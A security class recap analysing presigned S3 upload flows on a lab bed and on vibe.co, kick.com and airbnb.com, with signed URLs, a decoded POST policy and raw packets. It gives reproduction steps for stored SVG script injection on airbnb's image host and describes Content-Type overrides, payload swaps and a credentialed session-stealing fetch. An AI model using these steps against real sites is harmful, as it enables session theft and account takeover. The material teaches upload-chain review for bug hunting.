Takopi Class  /  Recap

Session 06

We picked up where session 05 stopped, one handler into the bed's code. The chain diagram opens the page again, now cut into three phases, authorization for steps 1 to 4, upload for 5 to 9, retrieve for 10 to 13, with the steal after it. Then phase 1, authorization, as a table of attack scenarios and variants, one row per decision the app makes in steps 1 to 4, each marked safe or not with the insecure variant you will meet in the wild beside it. The lesson to keep: a code review is the chain diagram read a second time, and every finding is a decision whose guard sits on a different component than the one that acts on it. The day ended on a live one, airbnb.com, three correct guards and a stored SVG script served from a0.muscache.com.

Summary of findings

  1. 01The chain has three phases. Each phase has a different owner.Target: the vibe.co uploader chainNoteMethod note
  2. 02The app checks the type. It signs only the host header.Target: app.py on the bed, compared with vibeNot ratedDone in the lab
  3. 03The commit step refuses the SVG. The same packet is a bug on vibe.Target: kick.com profile picture uploadNoneNo bug so far, three test rows have no result
  4. 04The SVG enum is allowed. The stored script runs on the image host.Target: airbnb.com, a0.muscache.comConfirmedConfirmed, no rating in the source
  • Confirmed Proven on the target. The source does not give a rating.
  • Not rated Lab model or lead. It is not proven on the target.
  • None Tested on the target. No bug.
  • Note A method or a lesson. Not a test result.

Scope

Session

Asset vibe.co uploader · cdn.apps.vibe.co Reviewed projects/vibe-sim, phase 1 · kick.com and airbnb.com uploaders, one stored XSS Shape the chain in three phases, then phase 1 as a table Date 2026-10-11
Bed
vibe.thezodd.com, Flask behind Caddy behind Cloudflare, bucket vibecdn.thezodd.com
Bed files
app.py, static/index.html, aws_04_cloudflare_origin.py
vibe.co
clear-platform.vibe.co, cdn.apps.vibe.co, clerk.vibe.co
kick.com
bucket kick-files-prod, CDN files.kick.com
airbnb.com
bucket airbnb-photos, image host a0.muscache.com

Where each test ran

  • Read only: section 01 reads the chain diagram from session 05
  • Lab only: section 02 reviews the code of the bed, with one live vibe URL beside it
  • Live on the target: sections 03 and 04 use packets from kick.com and airbnb.com
  • No result: rows 2 to 4 of the test table in section 03

Findings

Each card is one result. The number is the section number of the original recap. Long code is in Evidence.

01Notenote · The diagram we review against · carried from session 05, unchanged

The chain in time

Target

No target. This is a method note. The chain is the vibe.co uploader.

Impact
Why three phases and not one feature. Each phase has a different owner, the app, the bucket, the edge, and each owner decides something the others cannot see. Phase 1 is the only one with code the app wrote. Phase 2 and 3 are configuration on components the app only points at. A review that stops at the app's code reviews one phase of three.
Steps

Every handler below sits in one of three phases. Read the step first, then the code that implements it, then ask which component enforces the guard and which component the guard is supposed to protect. When the answer is two different names, you have the shape of a finding.

PHASE 1 authorization steps 1 to 4 the app decides PHASE 2 upload steps 5 to 9 the bucket stores PHASE 3 retrieve steps 10 to 13 the edge serves AFTER the steal steps 14 and 15 Browser attacker, then victim App server clear-platform.vibe.co S3 bucket presigned PUT target CDN edge cdn.apps.vibe.co Auth plane clerk.vibe.co, /v1/client 1. POST /graphql, contentType 2. STS temporary creds, ASIA pick the key apps/<uuid>.png 3. presign PUT, SignedHeaders=host UNSIGNED-PAYLOAD, expires 3600 4. uploadUrl + cdnUrl, both .png 5. OPTIONS preflight, Origin: https://www.vibe.co 6. CORS ok: www.vibe.co, PUT, content-type 7. PUT the bytes, Content-Type: image/svg+xml 8. store object, type = the header, verbatim versioning on, new version id 9. 200, ETag, x-amz-version-id 10. victim opens cdnUrl 11. pull on cache miss 12. object + metadata 13. 200 image/svg+xml, script runs on the CDN origin 14. fetch /v1/client, credentials: include, Origin: the CDN 15. ACAO: the CDN origin, ACAC: true, session + JWT phase 1 signs host only, so phase 2 picks and stores the type, phase 3 serves it, and the steal turns a CDN script into account takeover
The chain in time, in three phases. Solid arrows are requests, dashed are responses, the bars are who is busy. Phase 1, authorization, steps 1 to 4, is the only phase the app sees. Phase 2, upload, steps 5 to 9, is between the browser and the bucket. Phase 3, retrieve, steps 10 to 13, is between the victim and the edge. Steps 14 and 15 are the session 02 steal, after the chain. The code review below is grouped by phase.

The three phases

PhaseStepsWho talks to whomWhat is decided hereThe question to ask
Phase 1
Authorization
1 to 4browser to the app, the app to STSwhether this user may upload, the object key, the extension, and what the signature coverswhich inputs of the later phases are locked here, and which are left to whoever holds the URL
Phase 2
Upload
5 to 9browser to the bucket, the app absentthe stored bytes and the stored metadata, Content-Type included, written verbatimwhat the bucket accepts that phase 1 never saw, the type, the size, the metadata, a second PUT
Phase 3
Retrieve
10 to 13victim to the edge, the edge to the bucketthe served type and headers, taken from the stored metadata with nothing addedwho else may read the bucket, and whether the edge adds a header or trusts what it pulls
After
The steal
14, 15script on the CDN origin to the auth planewhether the CDN origin may read the session with credentialsnot an upload question, the session 02 half, reviewed at the end

Five participants, two hosts

ParticipantOn vibe.coOn the bedPhase, stepsCode that implements it
Browserattacker's, then the victim'sBurp for 1 to 9, Chrome signed in for 10 to 151, 2, 3 and after: 1, 5, 7, 10, 14static/index.html, the panel JS
App serverclear-platform.vibe.covibe.thezodd.com, Flask behind Caddy behind Cloudflare1: steps 2, 3, 4app.py lines 60 to 101
S3 bucketthe presigned PUT target, name unknownvibecdn.thezodd.com, us-east-1, versioned2 and 3: steps 6, 8, 9, 12aws_04_cloudflare_origin.py, CORS and policy
CDN edgecdn.apps.vibe.co, CloudFrontvibecdn.thezodd.com, Cloudflare orange cloud3: steps 11, 13no code, one CNAME and one SSL rule
Auth planeclerk.vibe.co, /v1/clientsame Flask app, /v1/client and /loginafter: step 15app.py lines 104 to 158
On the bed the app and the auth plane share one host and one cookie. On vibe they are two hosts, clear-platform.vibe.co and clerk.vibe.co, and the cookie that matters is Clerk's __client on .vibe.co. The CORS regex in _cors stands in for Clerk's allowed-origins list, and the finding transfers because both answer the same question, which origins may read the session with credentials.
Evidence

The source gives no separate evidence. The chain diagram is in Steps.

Status

Read. The source gives no status for this part. It sets up the code review below.

Phase 1 · authorization

steps 1 to 4

The only phase with code. The app checks the session, picks the key, obtains a credential and signs. Everything it does not put under the signature is handed to the next phase as a free choice.

02Not ratedread · graphql(), line 86 · step 1

Attack scenarios and variants

Target

app.py lines 60 to 101 on the bed vibe.thezodd.com, compared with clear-platform.vibe.co. Checks: line 86 and lines 90 to 93.

Impact
Who owns this row. S3 did nothing wrong in either version. It verified exactly the set the app signed. The vulnerable version and the fixed version differ by one key in a dict on the app server, which is why the root cause column says the application. When a target's presigned URL shows X-Amz-SignedHeaders=host, read it as the app telling you which headers it did not care about.
Steps
pseudo
31  EXT = {"image/png": "png", "image/jpeg": "jpg", "image/jpg": "jpg", "image/gif": "gif", "image/webp": "webp"}

85      ct  = (body.get("variables") or {}).get("contentType", "")
86      ext = EXT.get(ct)                            # allowlist lookup
87      if not ext:
88          return ... "Unsupported content type"   # anything not in EXT is rejected
#PhaseCheckCodeVerdictThe insecure variant you will meetRoot cause lives in
1Phase 1contentType allowlist, line 86ext = EXT.get(ct) against a fixed dict of five exact stringssafea wildcard, ct.startswith("image/"), lets image/svg+xml through. A regex without an anchor, ^image/(png|jpg|gif), lets image/pngx and image/png; charset=x through. A substring, "image" in ct, lets anything through. A deny-list lets through every type it forgot, the Confluence video/mp2t case from session 05. An exact allowlist that names SVG lets it through on purpose, the airbnb case in section 04the application, not Amazon, the bucket never sees this check
2Phase 1signature scope, lines 90 to 93params = {"Bucket", "Key"}, so botocore signs method, path and host, payload hash UNSIGNED-PAYLOADunsafethis is the default. X-Amz-SignedHeaders=host leaves Content-Type, every other header and the bytes to whoever holds the URL. The fix is one key, params["ContentType"] = ct, and the list becomes content-type;hostthe application, it chose what to sign, S3 verifies exactly that and nothing more

In details

1 · contentType allowlist

Line 86 is a checker function. It takes the string the client declared in the GraphQL variable and decides two things, whether the request goes on at all, and which extension the object key gets. Everything downstream, the key, the signature, the CDN URL, trusts its answer. The shape of this checker is the first thing to read in any uploader.

pseudo
EXT = {"image/png": "png", "image/jpeg": "jpg", "image/jpg": "jpg", "image/gif": "gif", "image/webp": "webp"}
ext = EXT.get(ct)                                 # exact match on the whole string, or nothing

A fixed dict is an exact allowlist. The whole string has to equal one of five keys, so there is no prefix, no suffix, no parameter and no second value to play with. The same check written as a pattern is where it breaks:

pseudo
re.match(r"^image/(png|jpg|gif)", ct)          # anchored at the start only
re.search(r"image/(png|jpg|gif)", ct)           # anchored nowhere
ct.startswith("image/")                         # a wildcard, image/*
"image" in ct                                   # a substring
CheckerDeclared contentType that passesWhy it passes
^image/(png|jpg|gif)image/png, image/svg+xmlthe regex is satisfied by the first value and never looks at the rest, the whole string travels on to leg 2 and is stored verbatim, the browser reads the type it understands
^image/(png|jpg|gif)image/pngx, image/png; charset=utf-8no $, anything may follow the match
image/(png|jpg|gif)text/html; x=image/pngno ^, the match may sit anywhere, the real type is at the front
startswith("image/")image/svg+xmlSVG is an image type that carries script, the wildcard admits it by definition
a deny-list of script typesvideo/mp2tthe type nobody listed, WebKit on iOS renders it as HTML, see the Confluence case below
an enum, fileType: SVGimage/svg+xml, derived by the serverthe match is exact and the signature binds it, but the list itself names a scripting type, the airbnb case below
any of the above, case-sensitiveIMAGE/SVG+XML, Image/PngS3 stores the case it gets, browsers compare types case-insensitively, a lower-case-only pattern misses the upper-case spelling

Two rules decide whether an allowlist holds. Match the whole string, == or ^...$ on the exact value, never a prefix or a search. And list only types every browser engine renders inert, which is why image/svg+xml, text/html, application/xhtml+xml, text/xml and application/pdf are absent from vibe's five. The browser decides what a type means, the server only decides which types it lets in.

The same check in the wild, deny-list edition. Atlassian Confluence, Bugcrowd, disclosed 2025. The attachment endpoint decided inline versus attachment with a deny-list of dangerous types in ContentDispositionHeaderGuesser. video/mp2t was not on it. WebKit on iOS renders that type as HTML, so an HTML file named .png and declared video/mp2t ran in the Confluence origin and minted a personal access token through the REST API. X-Content-Type-Options: nosniff did nothing, it forces the declared type, and the declared type was the attacker's. Same decision as line 86, opposite list, and the list lost on the type nobody thought of.
What this check does not do here. With X-Amz-SignedHeaders=host the type that reaches the bucket is the one sent in leg 2, not the one checked in leg 1. A perfect line 86 still stores whatever Content-Type the PUT carries. The check gates the extension in the key and the right to upload, binding the stored type is the next row.

2 · signature scope

Lines 90 to 93 decide what the signature covers. Params never names host, botocore derives it. Bucket and Key become the URL, and the signer takes the headers to sign from the request it built, plus host from the URL, botocore/auth.py headers_to_sign. With only Bucket and Key the built request has no headers, so the signed list is host alone. The payload hash is the constant UNSIGNED-PAYLOAD because at presign time the bytes do not exist yet.

pseudo
90      params = {"Bucket": BUCKET, "Key": key}
91      if knobs()["signContentType"]:
92          params["ContentType"] = ct          # a Content-Type header joins the built request, and the signed list
93      url = s3_client().generate_presigned_url("put_object", Params=params, ExpiresIn=EXPIRES, HttpMethod="PUT")

The two step 4 URLs side by side, the bed above, vibe below, both from 11 October 2026, both expired an hour later:

FieldBedvibeWhat it tells you
host, the signed headers3.us-east-1.amazonaws.com, bucket in the pathprod-developer-platform-assets.s3.us-east-1.amazonaws.com, bucket in the hostpath-style versus virtual-hosted. Same signing, the only header in the string, and it names the bucket either way, so the URL cannot be pointed at another bucket
X-Amz-CredentialASIA...ASIA...temporary credentials on both, an assumed role or an instance role behind the signer, never a long-lived user key in the URL
X-Amz-Security-Tokenpresentpresentthe STS session token that goes with an ASIA key, part of the query, not signed as a header
X-Amz-Expires36003600one hour of replay on both
X-Amz-SignedHeadershosthostthe row. Neither signer put Content-Type into the string, so the type is the PUT's to choose
X-Amz-Content-Sha256absent from the query, boto3 uses UNSIGNED-PAYLOAD inside the canonical request onlyUNSIGNED-PAYLOAD written into the query by the JS SDK v3the same fact, the bytes are not bound, vibe states it in the URL and the bed hides it in the hash. Read the signer's SDK from which one you see
x-amz-checksum-crc32, x-amz-sdk-checksum-algorithm, x-idabsentAAAAAA==, CRC32, PutObjectJS SDK v3 fingerprints. AAAAAA== is the CRC32 of an empty body, computed at presign time when there were no bytes. It is in the query, so it is signed, yet the SVG upload in session 01 went through with a non-empty body, so S3 does not enforce a checksum that arrives as a query parameter
parameter orderboto3's fixed ordersorted, uppercase before lowercasecosmetic, but it is the quickest tell of which SDK minted the URL

Whatever the signature leaves out belongs to the holder of the URL. The attacks in leg 2, with the signed list at host:

  • Content-Type override, declare image/png in leg 1, PUT with image/svg+xml, S3 stores it, the CDN serves script from its own origin, the vibe bug
  • Any other unsigned header, Content-Disposition: inline, Cache-Control: public, max-age=31536000 to pin the object at the edge, x-amz-meta-*
  • Payload swap, the URL minted for a logo takes an HTML file, a multi gigabyte file, anything, the bytes are not bound
  • Replay, the same URL works for 3600 seconds, PUT again and the key is overwritten after a reviewer saw a clean file, the CDN serves the latest version

The safe version is the toggle on the bed's panel, "Sign Content-Type in leg 1". On, line 92 runs, leg 1 returns X-Amz-SignedHeaders=content-type%3Bhost, and the declared type is now part of the string S3 hashes. Replay the PUT from Burp with Content-Type: image/svg+xml and Amazon answers:

http
HTTP/1.1 403 Forbidden
Content-Type: application/xml

<Error>
  <Code>SignatureDoesNotMatch</Code>
  <Message>The request signature we calculated does not match the signature you provided. Check your key and signing method.</Message>
</Error>

S3 recomputed the signature over the canonical request it received, with content-type:image/svg+xml in the signed headers, and got a different value from the one minted over content-type:image/png. The app is not vulnerable to the override any more, and the check at line 86 finally binds the stored type. The other three attacks stay until the signature covers them too, a short ExpiresIn against replay, a Content-Length header or a POST policy with content-length-range against the payload swap, and every header the CDN replays named in Params.

Evidence

The signed step 4 URLs of the bed and of vibe are raw packets. They are in E1. The 403 reply of S3 is in Steps.

Status

Done in the lab. The verdict of row 1 is safe. The verdict of row 2 is unsafe. Both rows use the code of the bed.

03Nonetested live · profile picture upload, four packets, 11 October 2026

kick.com, the POST policy shape

Target

The profile picture upload of kick.com. Bucket kick-files-prod, CDN files.kick.com.

Impact
Where kick's decision lives. On vibe the only type decision is line 86, and the signature does not carry it, so the bug is phase 1 leaving phase 2 free. On kick phase 2 is bound by the policy, but bound to a prefix, and then a phase the bed does not have, the commit, reads the type back and rejects what the prefix let in. The question is no longer "is the type signed", it is "what does the commit do with the type", and the answer from two runs is that it checks it. Same phase table, different row, and this time the row holds.
Steps

The same feature on a second target, read with the phase table from section 01. kick.com uses the other presigned mechanism, the POST policy, not a presigned PUT. The browser sends a multipart form to the bucket, and the form carries a base64 policy document plus its signature. S3 checks every field of the form against the conditions in the policy. Where vibe signed a URL and left the headers free, kick signs a list of rules, and the rules are where the review happens.

PHASE 1 authorization steps 1 to 3 the app writes rules PHASE 2 upload steps 4 to 6 the bucket enforces PHASE 3 commit steps 7 to 9 the app copies PHASE 4 retrieve steps 10 to 13 the edge serves Browser our account, then a viewer App server kick.com, behind Cloudflare S3 bucket kick-files-prod, us-west-2 CDN edge files.kick.com, CloudFront 1. GET /api/v2/presigned-post, Bearer, no input 2. build the POST policy, sign with AKIA key tmp/<uuid>, Content-Type image/*, 1 B to 4 MB, 5 min 3. form fields + Policy + X-Amz-Signature, extension png 4. POST multipart, fields + Content-Type: image/png + file 5. verify signature, fields vs policy store tmp/<uuid>, type = the form field 6. 204, ETag, version id, expires in 2 days 7. POST /profile/update-profile-picture, leg 1 JSON echoed 8. check the stored type, then copy to images/user/<id>/profile_image/<uuid> image/svg+xml rejected, "File type not supported", a png goes through 9. 200 10. GET files.kick.com/images/user/<id>/profile_image/<uuid> 11. pull on cache miss 12. object + metadata 13. 200 image/png, no nosniff, no CSP, no Content-Disposition phase 1 writes a prefix rule, phase 2 enforces it on the bucket, phase 3 is the real checker and binds the type, phase 4 serves what phase 3 let through

The two uploaders, phase by phase

vibe.co, three phases
  1. Signature, the app checks contentType against five exact types, then signs a PUT with host only
  2. Upload, the browser PUTs to S3, any Content-Type, stored verbatim
  3. Retrieve, cdn.apps.vibe.co serves the stored type, image/svg+xml runs script

The only check is in phase 1 and nothing carries it into phase 2

kick.com, four phases
  1. Signature, a bare GET, the app writes a POST policy and signs it with a static AKIA key
  2. Upload, S3 enforces the policy, any image/* is accepted, image/svg+xml included, stored under tmp/
  3. Commit, the checker function, reads the staged type, rejects what is not allowed, re-encodes a valid image, copies it to the served key
  4. Retrieve, files.kick.com is CloudFront mapped onto the bucket, serving images/user/<id>/profile_image/<uuid>

Phase 2 is loose by design, phase 3 is where the type is decided

Phase 3, the checker, what we learned

  • It is not a content check. A valid PNG uploaded with Content-Type: image/svg+xml was rejected with File type not supported., so the decision comes from the stored type, not from the bytes
  • It converts. When the type passes and the bytes are a real image, the served object is a re-encoded image, not the bytes we sent
  • SVG reaches the bucket, not the CDN. Phase 2 stores it under tmp/ with its type, phase 3 refuses to promote it, the two day lifecycle rule deletes it

Tests in phase 2, watching phase 3

The policy only says the form's Content-Type must start with image/. Everything after that prefix is ours. Each row is a leg 2 replay from Burp, then the normal commit, then a look at what phase 3 says and, if it passes, what files.kick.com serves. Every row is run twice, once with PNG bytes and once with SVG bytes.

#Form Content-TypeQuestionPhase 2, PNG bytes / SVG bytesPhase 3, PNG bytes / SVG bytes
1image/svg+xmlbaseline, is SVG on the commit's list204 / 204File type not supported. / File type not supported.
2image/png, image/svg+xmldoes the checker read the first value and the browser the last[UNCLEAR IN SOURCE]
3image/svg+xml, image/pngthe reverse order, does the checker read the last value
4image/png image/svg+xmlspace instead of comma, a prefix or substring match on the checker side

What each outcome would mean. A 204 in phase 2 is expected for all four, every value starts with image/. The interesting column is phase 3. A rejection on rows 2 to 4 means the checker compares the whole string against an exact list, the safe shape from row 1 of section 02. A pass means the checker parses the value loosely, and then the served Content-Type on files.kick.com decides whether it matters, because the conversion step may still rewrite both the bytes and the type.

The two uploaders in one line each. vibe: signature, upload, retrieve, the type is checked before the signature and never bound after it. kick: signature, upload, commit, retrieve, the type is loosely bound in the policy and checked again at the commit. The phase that makes the decision moved from 1 to 3, and that is why the same leg 2 packet that is a finding on vibe is nothing on kick so far.

Side by side

Decisionvibe, and the bedkickWhat changes for the hunter
Mechanismpresigned PUT, the signature in the query string, the browser sends raw bytesPOST policy, the signature over a JSON policy, the browser sends a multipart formwith a PUT you read X-Amz-SignedHeaders. With a POST you base64-decode Policy, the conditions list is the review
Client input to leg 1contentType in the GraphQL variable, checked by the app at line 86none, a bare GET, the app picks png and a tmp/ key by itselfno leg 1 check to bypass at kick, the type gate moved into the policy
The type gateexact allowlist of five types in the app, then nothing signed, the PUT's header winsstarts-with $Content-Type image/ in the policy, enforced by S3 on the form fieldkick's gate is bound, S3 rejects a form whose type is not image/*. It is also a prefix, so image/svg+xml satisfies it. Row 1 of the table, the wildcard variant, now sitting on the bucket side
CredentialASIA, temporary, STS or a roleAKIA, a long-lived IAM user key, its id visible in every formthe key id is not a secret, but it says the signer holds a static user key, the kind that ends up in a repo
Lifetime3600 s300 stwelve times less replay window
BytesUNSIGNED-PAYLOAD, any sizecontent-length-range 1 to 4194304size bound, content not, the policy never hashes the file
Keyapps/<uuid>.png, final, served as uploadedtmp/<uuid>, no extension, a lifecycle rule deletes it in 2 daysa staging area, the object is not the served one
Commit stepnone, leg 1's cdnUrl is already the served URLleg 3, POST /profile/update-profile-picture with leg 1's JSON echoed back, the server reads the staged object's type, allowlists it, re-encodes a valid image and copies it to images/user/<id>/profile_image/<uuid>the checker of this uploader. image/svg+xml is refused here with File type not supported., so the policy's prefix is not the last word
EdgeCloudFront, bed on CloudflareCloudFront, files.kick.com, direct, no Cloudflare in frontno nosniff, no CSP, no Content-Disposition on the served response, same as vibe. The type the object carries is the type the browser gets
Bucket CORShttps://www.vibe.co, PUT, content-typehttps://kick.com, POST GET HEAD PUT, Allow-Credentials: truePUT is allowed by CORS but the policy only signs a POST form, so nothing gained
Evidence

The four packets are raw requests and replies. They are in E2.

The policy from leg 2, decoded. This is the whole contract between the app and the bucket, every line is a condition S3 enforces on the form:

pseudo
{"expiration": "2026-10-11T14:58:46Z",                                 5 minutes after X-Amz-Date
 "conditions": [
   {"bucket": "kick-files-prod"},
   ["eq", "$key", "tmp/cf3827e9-1675-45c8-8078-65b2815f5742"],          the key is fixed, no extension
   ["starts-with", "$Content-Type", "image/"],                           the type gate, a prefix, verified by S3
   ["content-length-range", 1, 4194304],                                 the bytes are bounded, 1 B to 4 MB
   {"X-Amz-Date": "20261011T145346Z"},
   {"X-Amz-Credential": "AKIAS3MDRZGPNNNM6JOI/20261011/us-west-2/s3/aws4_request"},
   {"X-Amz-Algorithm": "AWS4-HMAC-SHA256"}]}
Status

No bug so far. The SVG is refused at the commit step. Rows 2 to 4 of the test table have no result.

04Confirmedtested live · profile picture upload, Burp proxy history, 11 October 2026

airbnb.com, the signed type

Target

The profile picture upload of airbnb.com. Bucket airbnb-photos through s3-accelerate, image host a0.muscache.com.

Impact
Where the script runs. alert(origin) says a0.muscache.com, the host that serves every airbnb image, not www.airbnb.com. That is the position of cdn.apps.vibe.co after session 01, a script on the asset origin with no session cookie of its own. The steal from the chain diagram, steps 14 and 15, needs a second leg that trusts that origin, which is the session 02 question asked of airbnb.
Steps

A presigned PUT like vibe, but with the fix from row 2 already in place. The client never names a MIME type. It sends two enums, mediaContentType: IMAGE and fileType: JPEG, and the server turns them into a key ending in .jpeg and a signature over content-type;host. The type is chosen by the app and bound by S3, the two jobs vibe split and left open.

PHASE 1 authorization steps 1 to 3 the app picks the type PHASE 2 upload steps 4 to 8 the bucket binds it PHASE 3 commit steps 9 and 10 PHASE 4 retrieve steps 11 to 14 the edge re-encodes Browser our account App server www.airbnb.com, GraphQL S3 bucket airbnb-photos, accelerate Image CDN a0.muscache.com, Akamai 1. GetSignedUrlsMutation, IMAGE + JPEG enums 2. STS creds ASIA, key <uuid>.jpeg sign content-type;host, image/jpeg, 300 s 3. signedUrl, s3-accelerate 4. OPTIONS preflight, content-type 5. 200, ACAO *, Allow-Headers content-type, via CloudFront 6. PUT, Content-Type: image/jpeg, PNG bytes 7. signature over content-type matches bytes not checked, object stored 8. 200, ETag 88c18002..., version id 9. AnalyzeUserProfileImage 10. CreateMediaItemsMutation request bodies not read, the proxy view truncates them 11. GET a0.muscache.com/im/pictures/.../<uuid>.jpeg?im_w=120 12. pull original, inferred 13. same ETag 14. 200 image/jpeg, 2705 B, re-encoded, nosniff phase 1 picks the type from an enum, phase 2 enforces it in the signature, phase 4 re-encodes under /im/ and serves the original without it
  • The type is bound, not judged. The app derives image/jpeg from the JPEG enum and signs it, so a PUT with any other Content-Type gets SignatureDoesNotMatch, the safe version of row 2. The enum has more members than JPEG, and that is row 1, below
  • The bytes are not bound. PNG bytes went up under image/jpeg and S3 answered 200, the payload is still unsigned and nothing in phase 2 reads the content
  • The edge re-encodes under /im/. a0.muscache.com is an Akamai Image Server on that prefix, it resizes per im_w and answers a 2705 byte JPEG with nosniff, so a mismatched object comes out as a real image. The same host has a path without the prefix, below
  • Lifetime is 300 seconds, the same as kick and a twelfth of vibe, and the credentials are temporary ASIA like vibe
  • The bucket host is s3-accelerate, Transfer Acceleration, which is why the S3 responses carry CloudFront headers. The edge is a front door to the bucket for writes, not the CDN that serves

The break, SVG in the enum

The same packets, one word changed in phase 1. fileType is an enum and SVG is a member. The server does for it exactly what it did for JPEG, picks a key ending in .svg, derives image/svg+xml and signs that type over content-type;host. Row 2 holds, the signature binds the type faithfully. Row 1 is where it breaks, the allowlist is exact and it names a type that carries script. Cookies, the API key, the STS token and the signature are cut from the packets below.

Flow chart 1How does a stored SVG script run on a0.muscache.com?
Attacker App and S3 Image CDN SVG enum signed URL PUT stored plain URL fires Ask for SVG URL Sign the SVG type PUT the SVG file Store the SVG file Drop /im/ from URL Serve the stored file Run the script 1 2 3 4 5 6 7
  • Start or end
  • Action
  • Attack path
  • Step number
  1. AttackerSends the phase 1 request with the fileType enum set to SVG
  2. AppMaps SVG to image/svg+xml, picks a .svg key and signs that type over content-type;host
  3. AttackerSends the PUT with Content-Type: image/svg+xml and an SVG body with a <script>
  4. S3The signature over content-type matches, so S3 stores the SVG under the type the app chose
  5. AttackerDrops /im/ from the avatar URL, the key is known from phase 1
  6. Image CDNWithout the prefix it serves the stored object with its stored type, no re-encoding
  7. Scriptalert(origin) fires on a0.muscache.com
PhaseWhat changedThe guard that saw itWhy it passed
Phase 1
authorization
fileType from JPEG to SVGthe fileType enum, the app's allowlistSVG is a member. The server maps it to image/svg+xml, picks a .svg key and signs that type. Row 1 of the table, an exact allowlist with a scripting type on it, the same decision as line 86 with a worse list
Phase 2
upload
Content-Type: image/svg+xml and an SVG body with a <script>the signature over content-type;hostit matched, because the type is the one the app chose in phase 1. Row 2 is safe and beside the point, a signature binds the type, it does not judge it. The bytes are unsigned as before, so the script goes up with the rectangle
Phase 3
retrieve
/im/ dropped from the avatar URLthe Akamai Image Serverit sits only under /im/. Without the prefix the host serves the stored object with its stored type, no re-encoding and no nosniff to help, since the declared type is the attacker's anyway. The key is known from phase 1, so the commit mutations play no part, the URL works straight after the PUT
Three guards, one hole each. The allowlist is exact and lists SVG. The signature is faithful and binds what the app chose. The re-encoder is strict and covers one prefix. Each check is correct on its own component and the chain still broke, because correct is not the same as sufficient. The phase table tells you which component holds each check, and the review asks of every one of them what it lets through, not whether it works.

Three uploaders

Decisionvibekickairbnb
Mechanismpresigned PUTPOST policypresigned PUT, Transfer Acceleration
Client input to leg 1a MIME string, checked against five exact typesnonetwo enums, IMAGE and a fileType, the server maps them to a type, and SVG is a fileType
What S3 enforces on the typenothing, SignedHeaders=hoststarts-with $Content-Type image/exact, SignedHeaders=content-type;host
Bytesunbound, any sizeunbound, 1 B to 4 MBunbound, PNG accepted as JPEG
Credential, lifetimeASIA, 3600 sAKIA, 300 sASIA, 300 s
Commitnonereads the stored type, rejects SVG, copiesAnalyzeUserProfileImage and CreateMediaItemsMutation
Served byCloudFront, stored bytes and stored typeCloudFront, the copied objectAkamai Image Server under /im/, re-encoded JPEG, nosniff. The stored object without /im/
Where the type is decidedphase 1, then lostphase 3phase 1, from an enum that lists SVG, carried into phase 2, served as stored by phase 4 without /im/
Outcomestored XSS on cdn.apps.vibe.co, session 01the SVG dies at the commitstored XSS on a0.muscache.com
Defence in depth, drawn as phases. vibe has one guard and it sits on the wrong component. kick has a loose guard on the bucket and a strict one at the commit, and the SVG dies there. airbnb guards the type in phase 1, binds it in phase 2 and re-encodes in phase 4, three guards, and an attacker beat all three with one enum value and one missing path segment, because the list admitted SVG and the re-encoder covered one prefix. The same phase table read across three targets shows where each one put its check and what each check lets through, and that is the review.
Evidence

The packets are raw requests and replies. The normal upload is in E3. The SVG break is in E4.

Status

Confirmed. alert(origin) fires on a0.muscache.com. This is stored XSS. The source gives no rating.

Evidence

This section has the long code. Click an item to open it. Use Copy to copy a code block.

E1The two step 4 URLsread · the bed above, vibe below, 11 October 2026

Evidence for section 02.

url
https://s3.us-east-1.amazonaws.com/vibecdn.thezodd.com/apps/23199d72-bdeb-47ca-a277-2a75dd3882dc.png?
X-Amz-Algorithm=AWS4-HMAC-SHA256&
X-Amz-Credential=ASIAUPCGSSATSWI52AZ7/20261011/us-east-1/s3/aws4_request&
X-Amz-Date=20261011T134611Z&
X-Amz-Expires=3600&
X-Amz-SignedHeaders=host&
X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKb...&
X-Amz-Signature=86d01b09e71e9bc237144b4eecd0a8531dc61ffc1a82fcd2b8702c052f5b66b3

https://prod-developer-platform-assets.s3.us-east-1.amazonaws.com/apps/d4c347d8-b25e-4b86-bbae-20796f328391.png?
X-Amz-Algorithm=AWS4-HMAC-SHA256&
X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&
X-Amz-Credential=ASIAVK32D7DABJDRIML4/20261011/us-east-1/s3/aws4_request&
X-Amz-Date=20261011T141132Z&
X-Amz-Expires=3600&
X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKf...&
X-Amz-Signature=11764d969eed42b103e30e94af6d0682e5d2ee50edde37b6a4d6f2c66012b7c5&
X-Amz-SignedHeaders=host&
x-amz-checksum-crc32=AAAAAA==&
x-amz-sdk-checksum-algorithm=CRC32&
x-id=PutObject
E2The four kick.com packetsread · leg 1 to leg 4, 11 October 2026

Evidence for section 03.

http
1  GET /api/v2/presigned-post HTTP/2                      no input from the client at all
   Host: kick.com
   Authorization: Bearer <session token>

   200 {"awsResponse": {"bucket": "kick-files-prod", "extension": "png", "key": "tmp/cf3827e9-...", "uuid": "cf3827e9-...",
                        "url": ..., form fields: key, X-Amz-Credential, X-Amz-Algorithm, X-Amz-Date, Policy, X-Amz-Signature}}

2  POST / HTTP/1.1                                         multipart, the policy fields, then Content-Type, then the file
   Host: kick-files-prod.s3.us-west-2.amazonaws.com
   Origin: https://kick.com
   key=tmp/cf3827e9-...  X-Amz-Credential=AKIAS3MDRZGPNNNM6JOI/20261011/us-west-2/s3/aws4_request
   Policy=eyJleHBpcmF0aW9uIjoi...  X-Amz-Signature=4d2449d2...  Content-Type=image/png  file=<bytes>

   204 No Content, ETag "c5198736...", x-amz-version-id, x-amz-expiration: 2 days, rule on tmp/
   Access-Control-Allow-Origin: https://kick.com, Allow-Methods: POST, GET, HEAD, PUT, Allow-Credentials: true

3  POST /profile/update-profile-picture HTTP/2             the commit, the client echoes leg 1 back
   Host: kick.com
   {"awsResponse": {"bucket": "kick-files-prod", "extension": "png", "key": "tmp/cf3827e9-...", "uuid": "cf3827e9-...", ...}}

4  GET /images/user/133893383/profile_image/cf3827e9-1675-45c8-8078-65b2815f5742 HTTP/2
   Host: files.kick.com                                    CloudFront in front of the bucket, no extension in the key
   200 Content-Type: image/png, ETag "c5198736..." the same bytes, X-Cache: Miss from cloudfront, no nosniff, no CSP, no Content-Disposition
E3The airbnb upload packetsread · Burp proxy history, 11 October 2026

Evidence for section 04.

http
1  POST /api/v3/GetSignedUrlsMutation/c70cd37b...?operationName=GetSignedUrlsMutation HTTP/2
   Host: www.airbnb.com
   {"operationName":"GetSignedUrlsMutation","variables":{"domain":"USER","identifier":"1794338426557678727",
